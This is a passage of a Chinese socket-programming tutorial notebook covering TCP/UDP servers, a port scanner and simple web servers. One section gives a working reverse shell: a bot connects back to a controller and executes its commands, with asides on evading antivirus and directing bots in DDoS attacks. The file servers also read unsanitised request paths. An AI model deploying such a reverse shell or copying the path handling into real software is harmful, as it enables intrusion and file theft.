Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp))\n", " {\n", " var ip_addr = IPAddress.Parse(\"192.168.36.235\");\n", " // 服务器端绑定Port\n", " tcp_socket.Bind(new IPEndPoint(ip_addr, 8080));\n", " // 服务器监听\n", " tcp_socket.Listen(5);\n", " while (true)\n", " {\n", " // 等待客户端连接\n", " var client_socket = tcp_socket.Accept();\n", " // 远程端口\n", " var client_point = client_socket.RemoteEndPoint;\n", " Task.Run(() =>\n", " {\n", " while (true)\n", " {\n", " byte[] buffer = new byte[1024];\n", " int count = client_socket.Receive(buffer);\n", " Console.WriteLine($\"来自{client_socket.RemoteEndPoint.ToString()}的消息:\\n{Encoding.UTF8.GetString(buffer, 0, count)}\");\n", " client_socket.Send(Encoding.UTF8.GetBytes(\"知道了～\"));\n", " }\n", " });\n", " }\n", " }\n", " }\n", " }\n", "}\n", "```\n", "\n", "#### Client版\n", "\n", "```csharp\n", "using System;\n", "using System.Text;\n", "using System.Net;\n", "using System.Net.Sockets;\n", "\n", "namespace client\n", "{\n", " class Program\n", " {\n", " static void Main(string[] args)\n", " {\n", " using (var tcp_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp))\n", " {\n", " // 连接服务器\n", " tcp_socket.Connect(new IPEndPoint(IPAddress.Parse(\"192.168.36.235\"), 8080));\n", "\n", " while (true)\n", " {\n", " // 发送消息\n", " tcp_socket.Send(Encoding.UTF8.GetBytes(\"服务器你好\"));\n", " // 接收服务器消息\n", " byte[] buffer = new byte[1024];\n", " int count = tcp_socket.Receive(buffer);\n", " Console.WriteLine($\"来自服务器的消息：{Encoding.UTF8.GetString(buffer, 0, count)}\");\n", " }\n", " }\n", " }\n", " }\n", "}\n", "```\n", "\n", "图示：\n", "![3.netcore.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106213555518-1929103157.gif)\n", "\n", "### 扩展\n", "\n", "示例代码：\n", "\n", "上面忘记说了，`Socket`是可以设置超时时间的，eg：`tcp_socket.settimeout(3)`\n", "\n", "#### 探一探`localhost`\n", "\n", "代码不变，如果把TCP客户端的`连接服务器IP`空着或者改成`127.0.0.1`，咱们再看看效果：`tcp_socket.connect(('', 8080))`\n", "\n", "图示：（怎么样，这回知道本机问啥可以不写IP了吧）\n", "![3.localhost.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181101153332389-592687559.png)\n", "\n", "#### 手写一个端口扫描工具\n", "\n", "端口扫描大家不陌生，自己实现一个简单的TCP端口扫描工具：\n", "```py\n", "from socket import socket\n", "from multiprocessing.dummy import Pool\n", "\n", "ip = \"127.0.0.1\"\n", "\n", "def tcp_port(port):\n", " \"\"\"IP：服务端IP，Port：服务端Port\"\"\"\n", " with socket() as tcp_socket:\n", " try:\n", " tcp_socket.connect((ip, port))\n", " print(f\"[TCP Port:{port} is open]\")\n", " except Exception:\n", " pass\n", "\n", "def main():\n", " # 查看系统本地可用端口极限值 cat /proc/sys/net/ipv4/ip_local_port_range\n", " max_port = 60999\n", " global ip\n", " ip = input(\"请输入要扫描的IP地址：\")\n", " print(f\"正在对IP：{ip}进行端口扫描...\")\n", "\n", " pool = Pool()\n", " pool.map_async(tcp_port, range(max_port))\n", " pool.close()\n", " pool.join()\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "输出：（**你把端口换成常用端口列表就知道服务器开了哪些服务了**）\n", "```\n", "dnt@MZY-PC:~/桌面/work/BaseCode/python/6.net/3.Ext python3 1.port_scan.py \n", "请输入要扫描的IP地址：192.168.36.235\n", "正在对IP：192.168.36.235进行端口扫描...\n", "[TCP Port:22 is open]\n", "[TCP Port:41004 is open]\n", "dnt@MZY-PC:~/桌面/work/BaseCode/python/6.net/3.Ext sudo nmap -sT 192.168.36.235 -Pn -p-\n", "\n", "Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-02 18:15 CST\n", "Nmap scan report for MZY-PC (192.168.36.235)\n", "Host is up (0.000086s latency).\n", "Not shown: 65534 closed ports\n", "PORT STATE SERVICE\n", "22/tcp open ssh\n", "\n", "Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds\n", "```\n", "\n", "#### 课后思考\n", "\n", "可以自行研究拓展：\n", "1. **为啥发送(`send`、`sendto`)和接收(`recv`、`recvfrom`)都是两个方法？**（提示：`方法名`、`阻塞`）\n", "2. **`send`和`sendall`有啥区别？**\n", "3. 有没有更方便的方式来实现服务端？\n", "4. 结合`内网映射`或者`ShellCode`实现一个远控\n", "\n", "课外拓展：\n", "```\n", "官方Socket编程文档【推荐】\n", "https://docs.python.org/3/library/socket.html\n", "\n", "Python核心编程之～网络编程【推荐】\n", "https://wizardforcel.gitbooks.io/core-python-2e/content/19.html\n", "\n", "TCP编程知识\n", "https://dwz.cn/dDkXzqcV\n", "\n", "网络编程-基础\n", "https://www.jianshu.com/p/55c171ebe5f1\n", "\n", "网络编程-UDP\n", "https://www.jianshu.com/p/594870b1634b\n", "\n", "网络编程-TCP\n", "https://www.jianshu.com/p/be36d4db5618\n", "\n", "Python总结之 recv与recv_from\n", "https://www.jianshu.com/p/5643e810123f\n", "https://blog.csdn.net/xvd217/article/details/38902081\n", "https://blog.csdn.net/pengluer/article/details/8812333\n", "\n", "端口扫描扩展：（Python2）\n", "https://thief.one/2018/05/17/1\n", "\n", "Python socket借助ngrok建立外网TCP连接\n", "https://www.jianshu.com/p/913b2013a38f\n", "\n", "TCP协议知识：\n", "https://www.cnblogs.com/wcd144140/category/1313090.html\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# 加强篇\n", "\n", "## 1.引入\n", "\n", "### ShellCode\n", "\n", "上节写了个端口扫描器，这次写个`ShellCode`回顾下上节内容\n", "\n", "肉鸡端：\n", "```py\n", "#!/usr/bin/env python3\n", "import sys\n", "import subprocess\n", "from socket import socket\n", "\n", "def exec(cmd):\n", " try:\n", " process = subprocess.Popen([cmd],\n", " stdin=subprocess.PIPE,\n", " stdout=subprocess.PIPE,\n", " stderr=subprocess.PIPE)\n", " return process.communicate()\n", " except Exception as ex:\n", " print(ex)\n", "\n", "def main():\n", " # 不写死是防止远程服务器被封后就失效\n", " ip = \"192.168.1.109\" or sys.argv[1]\n", " with socket() as tcp_socket:\n", " # 连接远控服务器\n", " tcp_socket.connect((ip, 8080))\n", " while True:\n", " data = tcp_socket.recv(2048)\n", " if data:\n", " cmd = data.decode(\"utf-8\")\n", " stdout, stderr = exec(cmd)\n", " if stderr:\n", " tcp_socket.send(stderr)\n", " if stdout:\n", " tcp_socket.send(stdout)\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "服务端：\n", "```py\n", "from socket import socket\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " tcp_socket.bind(('', 8080))\n", " tcp_socket.listen()\n", " client_socket, client_addr = tcp_socket.accept()\n", " with client_socket:\n", " print(f\"[肉鸡{client_addr}已经上线：]\\n\")\n", " while True:\n", " cmd = input(\"$ \")\n", " client_socket.send(cmd.encode(\"utf-8\"))\n", " data = client_socket.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "演示效果：\n", "![1.shell_code.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126185225065-1338604463.gif)\n", "\n", "可能有人会说，肉鸡设置为Server，自己远控登录貌似更简单吧？但是有没有想过：\n", "1. 客户端越复杂，那么被查杀的可能就越大\n", "2. 如果你肉鸡无数，现在需要DDOS某站。你是全部连接并发送指令方便，还是直接一条指令全部执行方便？\n", "\n", "课后拓展：\n", "```\n", "如何创建反向Shell来执行远程Root命令\n", "http://os.51cto.com/art/201312/424378.htm\n", "```\n", "\n", "### 扩展\n", "1. 获取网站的IP：\n", " - socket.gethostbyname(\"网站URL\")\n", "2. 返回主机的真实主机名，别名列表和IP地址列表\n", " - socket.gethostbyname_ex \n", "\n", "## 2.更便捷的服务端实现方法\n", "\n", "上节留下了一个悬念：有没有更方便的方式来实现服务端？这次揭晓一下：\n", "\n", "Python底层其实基于`Select`实现了一套`SocketServer`，下面来看看：（现在大部分都是`epoll`和`aio`）\n", "\n", "`SocketServer`官方图示以及一些常用方法：\n", "```py\n", " +------------+\n", " | BaseServer |\n", " +------------+\n", " |\n", " v\n", " +-----------+ +------------------+\n", " | TCPServer |------->| UnixStreamServer |\n", " +-----------+ +------------------+\n", " |\n", " v\n", " +-----------+ +--------------------+\n", " | UDPServer |------->| UnixDatagramServer |\n", " +-----------+ +--------------------+\n", "\n", "\n", "__all__ = [\"BaseServer\", \"TCPServer\", \"UDPServer\",\n", " \"ThreadingUDPServer\", \"RequestHandler\",\n", " \"BaseRequestHandler\", \"StreamRequestHandler\",\n", " \"DatagramRequestHandler\", \"ThreadingMixIn\"]\n", "```\n", "\n", "### TCP\n", "\n", "#### 基础案例\n", "\n", "Python全部封装好了，只要继承下`BaseRequestHandler`自己定义一下`handle`处理方法即可：\n", "```py\n", "from socketserver import BaseRequestHandler, TCPServer\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息:]\\n\")\n", " data = self.request.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " self.request.send(b'HTTP/1.1 200 ok\\r\\n\\r\\n

TCP Server Test

')\n", "\n", "def main():\n", " with TCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever() # 期待服务器并执行自定义的Handler方法\n", " # 不启动也可以使用client_socket, client_address = server.get_request()来自定义处理\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "效果如下：\n", "![1.tcpserver.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126095545295-2111749798.gif)\n", "\n", "#### 扩展案例\n", "\n", "换个处理器也是很方便的事情，比如这个类文件IO的案例：\n", "> `SocketServer.StreamRequestHandler`中对客户端发过来的数据是用`rfile`属性来处理的,`rfile`是一个`类file对象`.有缓冲.可以按行分次读取;发往客户端的数据通过`wfile`属性来处理,`wfile`不缓冲数据,对客户端发送的数据需一次性写入. \n", "\n", "服务器：\n", "```py\n", "from time import sleep\n", "from socketserver import TCPServer, StreamRequestHandler\n", "\n", "class MyHandler(StreamRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\\n\")\n", " # 接受来自客户端的IO流( 类似于打开IO，等待对方写)\n", " # self.rfile = self.request.makefile('rb', self.rbufsize)\n", " for line in self.rfile: # 阻塞等\n", " print(f\"接受到的数据：{line}\")\n", " # 发送给客户端（类似于写给对方）\n", " self.wfile.write(line)\n", " sleep(0.2) # 为了演示方便而加\n", "\n", "def main():\n", " with TCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "客户端：\n", "```py\n", "from time import sleep\n", "from socket import socket, SOL_SOCKET, SO_REUSEADDR\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " tcp_socket.connect(('', 8080))\n", " with open(\"1.tcp.py\", \"rb\") as fs:\n", " while True:\n", " data = fs.readline()\n", " if data:\n", " tcp_socket.send(data)\n", " else:\n", " break\n", " while True:\n", " data = tcp_socket.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " sleep(0.2) # 为了演示方便而加\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "输出：（一行一行显示出来）\n", "![1.streamtest](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126125125723-1898663465.gif)\n", "\n", "其实还可以通过设置其他的类变量来支持一些新的特性：\n", "```py\n", "import socket\n", "from socketserver import TCPServer, StreamRequestHandler\n", "\n", "class MyHandler(StreamRequestHandler):\n", " # 可选设置（下面的是默认值）\n", " timeout = 5 # 所有socket超时时间\n", " rbufsize = -1 # 读缓冲区大小\n", " wbufsize = 0 # 写缓冲区大小\n", " disable_nagle_algorithm = False # 设置TCP无延迟选项\n", "\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\\n\")\n", " # 接受来自客户端的IO流(类似于打开IO，等待对方写)\n", " try:\n", " for line in self.rfile: # 阻塞等\n", " print(f\"接受到的数据：{line}\")\n", " # 发送给客户端（类似于写给对方）\n", " self.wfile.write(line)\n", " except socket.timeout as ex:\n", " print(\"---\" * 10, \"网络超时\", \"---\" * 10)\n", " print(ex)\n", " print(\"---\" * 10, \"网络超时\", \"---\" * 10)\n", "\n", "def main():\n", " with TCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "效果：\n", "![1.stream_ext.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126151106002-638501246.png)\n", "\n", "业余拓展：\n", "```\n", "http://a564941464.iteye.com/blog/1170464\n", "https://www.cnblogs.com/txwsqk/articles/2909546.html\n", "https://blog.csdn.net/tycoon1988/article/details/39990403\n", "https://hg.python.org/cpython/file/tip/Lib/socketserver.py\n", "```\n", "\n", "---\n", "\n", "#### 加强案例\n", "\n", "上面说的方法是最基础的，也是单线程的，对于现在这个高并发的时代肯定是吃不消的，那有没有并发模式的呢？\n", "\n", "先结合以前并发编程来个案例：(改成多进程也行，`Nginx`就是多进程的)\n", "```py\n", "from multiprocessing.dummy import threading\n", "from socketserver import TCPServer, BaseRequestHandler\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\\n\")\n", " data = self.request.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " self.request.send(\n", " \"HTTP/1.1 200 ok\\r\\n\\r\\n

TCP Server

\".encode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " with TCPServer(('', 8080), MyHandler) as server:\n", " for _ in range(10): # 指定线程数\n", " t = threading.Thread(target=server.serve_forever)\n", " t.setDaemon(True)\n", " t.start()\n", " server.serve_forever()\n", "```\n", "\n", "**使用Python封装的方法**：（还记得开头贴的一些方法名和类名吗？`__all__ = [...]`）\n", "\n", "多线程版：（变`TCPServer`为`ThreadingTCPServer`）\n", "```py\n", "from socketserver import ThreadingTCPServer, BaseRequestHandler\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\\n\")\n", " data = self.request.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " self.request.send(\n", " \"HTTP/1.1 200 ok\\r\\n\\r\\n

TCP Server Threading

\".encode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " with ThreadingTCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "```\n", "\n", "多进程版：（变`TCPServer`为`ForkingTCPServer`）\n", "```py\n", "from socketserver import ForkingTCPServer, BaseRequestHandler\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\\n\")\n", " data = self.request.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " self.request.send(\n", " \"HTTP/1.1 200 ok\\r\\n\\r\\n

TCP Server Forking

\".encode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " with ForkingTCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "```\n", "\n", "虽然简单了，但是有一个注意点：\n", "> 使用fork或线程服务器有个潜在问题就是它们会为每个客户端连接创建一个新的进程或线程。 由于客户端连接数是没有限制的，DDOS可能就需要注意了\n", "\n", "> 如果你担心这个问题，你可以创建一个预先分配大小的工作线程池或进程池。你先创建一个普通的非线程服务器，然后在一个线程池中使用`serve_forever()`方法来启动它们（`也就是我们一开始结合并发编程举的例子`）\n", "\n", "### UDP\n", "\n", "UDP的就简单提一下，来看个简单案例：\n", "\n", "服务器：\n", "```py\n", "from socketserver import UDPServer, BaseRequestHandler\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息:]\\n\")\n", " data, socket = self.request\n", " with socket:\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " socket.sendto(\"行啊，小张晚上我请你吃～\".encode(\"utf-8\"), self.client_address)\n", "\n", "def main():\n", " with UDPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "\n", "客户端：\n", "```py\n", "from socket import socket, AF_INET, SOCK_DGRAM\n", "\n", "def main():\n", " with socket(AF_INET, SOCK_DGRAM) as udp_socket:\n", " udp_socket.sendto(\"小明，今晚去喝碗羊肉汤？\".encode(\"utf-8\"), ('', 8080))\n", " data, addr = udp_socket.recvfrom(1024)\n", " print(f\"[来自{addr}的消息：]\\n\")\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "\n", "演示：(想要多线程或者多进程就自己改下名字即可，很简单)\n", "![1.udpserver.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126133100482-1609795691.gif)\n", "\n", "---\n", "\n", "### 手写服务器\n", "\n", "上面使用了`Python`帮我们封装的服务器，现在手写一个简单版的`Server`：\n", "```py\n", "from socket import socket\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 监听\n", " tcp_socket.listen()\n", " # 等待\n", " client_socket, client_address = tcp_socket.accept()\n", " # 收发数据\n", " with client_socket:\n", " print(f\"[来自{client_address}的消息：\\n\")\n", " msg = client_socket.recv(2048)\n", " if msg:\n", " print(msg.decode(\"utf-8\"))\n", " client_socket.send(\n", " \"\"\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n

哈哈哈

\"\"\"\n", " .encode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "服务器响应：(**请求头就靠`\\r\\n\\r\\n`来分隔了**)\n", "![1.test.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181122161734705-111384477.png)\n", "\n", "浏览器请求：（`charset=utf-8`）\n", "![1.test_server.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181122162017879-1518375760.png)\n", "\n", "### 扩展：Linux端口被占用的解决\n", "\n", "参考文章：Linux端口被占用的解决（附Python专版）\n", "\n", "#### 手写版解决\n", "\n", "**参数简单说明下**：\n", "1. `setsockopt`：设置socket选项\n", "2. `SOL_SOCKET`：设置的级别是socket（里面还有TCP、UDP等）\n", "3. `SO_REUSEADDR`：`SO`：`socketopt`，`reuseaddr`：地址复用\n", "\n", "```py\n", "from socket import socket, SOL_SOCKET, SO_REUSEADDR\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " # 防止端口占用\n", " tcp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 监听\n", " tcp_socket.listen()\n", " # 等待\n", " client_socket, client_address = tcp_socket.accept()\n", " # 收发消息\n", " with client_socket:\n", " print(f\"[来自{client_address}的消息：\\n\")\n", " msg = client_socket.recv(2048)\n", " if msg:\n", " print(msg.decode(\"utf-8\"))\n", " client_socket.send(\n", " \"\"\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n

哈哈哈

\"\"\"\n", " .encode(\"utf-8\"))\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "\n", "#### 服务器版解决\n", "```py\n", "from socket import SOL_SOCKET, SO_REUSEADDR\n", "from socketserver import ThreadingTCPServer, BaseRequestHandler\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\")\n", " data = self.request.recv(2048)\n", " print(data)\n", " self.request.send(\n", " \"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n

小明，晚上吃鱼汤吗？

\"\n", " .encode(\"utf-8\"))\n", "\n", "def main():\n", " # bind_and_activate=False 手动绑定和激活\n", " with ThreadingTCPServer(('', 8080), MyHandler, False) as server:\n", " # 防止端口占用\n", " server.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n", " server.server_bind() # 自己绑定\n", " server.server_activate() # 自己激活\n", " server.serve_forever()\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "解决前：\n", "![1.server_port_error.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126142851617-1315318063.gif)\n", "\n", "解决后：\n", "![1.server_port.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181126142549772-1596920715.gif)\n", "\n", "这个就涉及到`TCP4次挥手`相关的内容了，如果不是长连接，**你先断开客户端,再断开服务端**就不会遇到这个问题了，具体问题下次继续探讨～\n", "\n", "##### 简化扩展（推荐）\n", "\n", "虽然简化了，但有时候也会出现端口占用的情况（`很少出现`）\n", "```py\n", "from socket import SOL_SOCKET, SO_REUSEADDR\n", "from socketserver import ThreadingTCPServer, BaseRequestHandler\n", "\n", "class MyHandler(BaseRequestHandler):\n", " def handle(self):\n", " print(f\"[来自{self.client_address}的消息：]\")\n", " data = self.request.recv(2048)\n", " print(data)\n", " self.request.send(\n", " \"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n

小明，晚上吃鱼汤吗？

\"\n", " .encode(\"utf-8\"))\n", "\n", "def main():\n", " # 防止端口占用\n", " ThreadingTCPServer.allow_reuse_address = True\n", " with ThreadingTCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "源码比较简单，一看就懂：\n", "```py\n", "def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True):\n", " BaseServer.__init__(self, server_address, RequestHandlerClass)\n", " self.socket = socket.socket(self.address_family,\n", " self.socket_type)\n", " if bind_and_activate:\n", " try:\n", " # 看这\n", " self.server_bind()\n", " self.server_activate()\n", " except:\n", " self.server_close()\n", " raise\n", "\n", "def server_bind(self):\n", " # 看这\n", " if self.allow_reuse_address:\n", " self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " self.socket.bind(self.server_address)\n", " self.server_address = self.socket.getsockname()\n", "```\n", "\n", "下级预估：`Linux 5种 IO模型`（这边的`Select`也是其中的一种）" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 3.Web服务器\n", "\n", "**关于编码风格改变的说明**：\n", "\n", "### 上节回顾\n", "\n", "借着`SocketServer`的灵感，再结合`OOP`,来一个简单案例：\n", "```py\n", "import socket\n", "\n", "class WebServer(object):\n", " def __init__(self):\n", " with socket.socket() as tcp_socket:\n", " # 防止端口占用\n", " tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 监听\n", " tcp_socket.listen()\n", " # 等待客户端连接\n", " while True:\n", " self.client_socket, self.client_addr = tcp_socket.accept()\n", " self.handle()\n", "\n", " def handle(self):\n", " with self.client_socket:\n", " print(f\"[来自{self.client_addr}的消息：\")\n", " data = self.client_socket.recv(2048)\n", " if data:\n", " print(data.decode(\"utf-8\"))\n", " self.client_socket.send(\n", " b\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n

Web Server Test

\"\n", " )\n", "\n", "if __name__ == \"__main__\":\n", " WebServer()\n", "```\n", "效果：\n", "![2.webserver.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181127094346913-1394785055.png)\n", "\n", "下面就自己手写几种服务器并测试一下，先贴结果再细看\n", "\n", "### JMeter压测\n", "\n", "安装：`sudo apt install jmeter`\n", "\n", "#### 配置说明\n", "\n", "使用三步走：\n", "1. 模拟用户，设置请求页面\n", " - ![2.模拟用户设置请求页面.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128125644201-461313175.gif)\n", "2. 设置监控内容\n", " - ![2.设置监控内容.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128125650799-1265792840.gif)\n", "3. 运行并查看结果\n", " - ![2.运行并查看结果.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128125659034-1940737029.gif)\n", "\n", "额外说下开始的配置：\n", "![2.测试1.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128131129769-1484417190.png)\n", "![2.测试2.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128131221355-1373611922.png)\n", "\n", "#### 结果\n", "\n", "对上面服务器简单测试下：（实际结果只会比我老电脑性能高）\n", "![3.多进程.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128133150110-295329760.png)\n", "![3.socketserver](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128133751741-735398938.png)\n", "![3.多线程.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128133334247-1462082599.png)\n", "![3.协程.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181128133443776-1698489616.png)\n", "\n", "### 自带版静态服务器\n", "\n", "PS：文件读取`rb`模式：请求可能是图片之类的\n", "```py\n", "import os\n", "import re\n", "import socketserver\n", "\n", "class MyHandler(socketserver.BaseRequestHandler):\n", " # 处理请求\n", " def handle(self):\n", " with self.request:\n", " print(f\"[来自{self.client_address}的消息：\")\n", " data = self.request.recv(2048)\n", " if data:\n", " msg, _ = data.decode(\"utf-8\").split(\"\\r\\n\", 1)\n", " self.respose(msg)\n", "\n", " # 相应浏览器\n", " def respose(self, msg):\n", " # GET (/xxx.html) HTTP/1.1\n", " # 不匹配开头结尾也行：re.match(\"[^/]+(/[^ ]*).+\", msg)\n", " filename = \"/index.html\"\n", " ret = re.match(\"^[^/]+(/[^ ]*).+$\", msg)\n", " if ret:\n", " page = ret.group(1) # 请求页面\n", " if not page == \"/\":\n", " filename = page\n", "\n", " # 获取本地文件\n", " data = self.read_file(filename)\n", " # 回复浏览器\n", " self.request.send(\n", " b\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n\"\n", " )\n", " self.request.send(data)\n", "\n", " # 获取本地文件内容\n", " def read_file(self, filename):\n", " print(\"请求页面:\", filename)\n", " path = f\"./root{filename}\"\n", " # 没有这个文件就定位到404页面\n", " if not os.path.exists(path):\n", " path = \"./root/404.html\"\n", " print(\"本地路径:\", path)\n", " # 读取页面并返回\n", " with open(path, \"rb\") as fs:\n", " return fs.read()\n", "\n", "if __name__ == \"__main__\":\n", " socketserver.ThreadingTCPServer.allow_reuse_address = True\n", " with socketserver.ThreadingTCPServer(('', 8080), MyHandler) as server:\n", " server.serve_forever()\n", "```\n", "\n", "### 多进程版静态服务器\n", "```py\n", "import os\n", "import re\n", "import socket\n", "from multiprocessing import Process\n", "\n", "class WebServer(object):\n", " def __init__(self):\n", " with socket.socket() as tcp_socket:\n", " # 防止端口占用\n", " tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 监听\n", " tcp_socket.listen()\n", " # 等待客户端连接\n", " while True:\n", " self.client_socket, self.client_addr = tcp_socket.accept()\n", " t = Process(target=self.handle)\n", " t.daemon = True\n", " t.run()\n", "\n", " # 处理请求\n", " def handle(self):\n", " with self.client_socket:\n", " print(f\"[来自{self.client_addr}的消息：\")\n", " data = self.client_socket.recv(2048)\n", " if data:\n", " msg, _ = data.decode(\"utf-8\").split(\"\\r\\n\", 1)\n", " self.respose(msg)\n", "\n", " # 相应浏览器\n", " def respose(self, msg):\n", " # GET (/xxx.html) HTTP/1.1\n", " # 不匹配开头结尾也行：re.match(\"[^/]+(/[^ ]*).+\", msg)\n", " filename = \"/index.html\"\n", " ret = re.match(\"^[^/]+(/[^ ]*).+$\", msg)\n", " if ret:\n", " page = ret.group(1) # 请求页面\n", " if not page == \"/\":\n", " filename = page\n", "\n", " # 获取本地文件\n", " data = self.read_file(filename)\n", " # 回复浏览器\n", " self.client_socket.send(\n", " b\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n\"\n", " )\n", " self.client_socket.send(data)\n", "\n", " # 获取本地文件内容\n", " def read_file(self, filename):\n", " print(\"请求页面:\", filename)\n", " path = f\"./root{filename}\"\n", " # 没有这个文件就定位到404页面\n", " if not os.path.exists(path):\n", " path = \"./root/404.html\"\n", " print(\"本地路径:\", path)\n", " # 读取页面并返回\n", " with open(path, \"rb\") as fs:\n", " return fs.read()\n", "\n", "if __name__ == \"__main__\":\n", " WebServer()\n", "```\n", "\n", "### 多线程版静态服务器\n", "\n", "**之前有讲过`multiprocessing.dummy`的`Process`其实是基于线程的，就不再重复了**\n", "\n", "来个多线程版的：(其实就把`multiprocessing.dummy`换成了`multiprocessing`)\n", "```py\n", "import os\n", "import re\n", "import socket\n", "from multiprocessing.dummy import Process\n", "\n", "class WebServer(object):\n", " def __init__(self):\n", " with socket.socket() as tcp_socket:\n", " # 防止端口占用\n", " tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 监听\n", " tcp_socket.listen()\n", " # 等待客户端连接\n", " while True:\n", " self.client_socket, self.client_addr = tcp_socket.accept()\n", " t = Process(target=self.handle)\n", " t.daemon = True\n", " t.run()\n", "\n", " # 处理请求\n", " def handle(self):\n", " with self.client_socket:\n", " print(f\"[来自{self.client_addr}的消息：\")\n", " data = self.client_socket.recv(2048)\n", " if data:\n", " msg, _ = data.decode(\"utf-8\").split(\"\\r\\n\", 1)\n", " self.respose(msg)\n", "\n", " # 相应浏览器\n", " def respose(self, msg):\n", " # GET 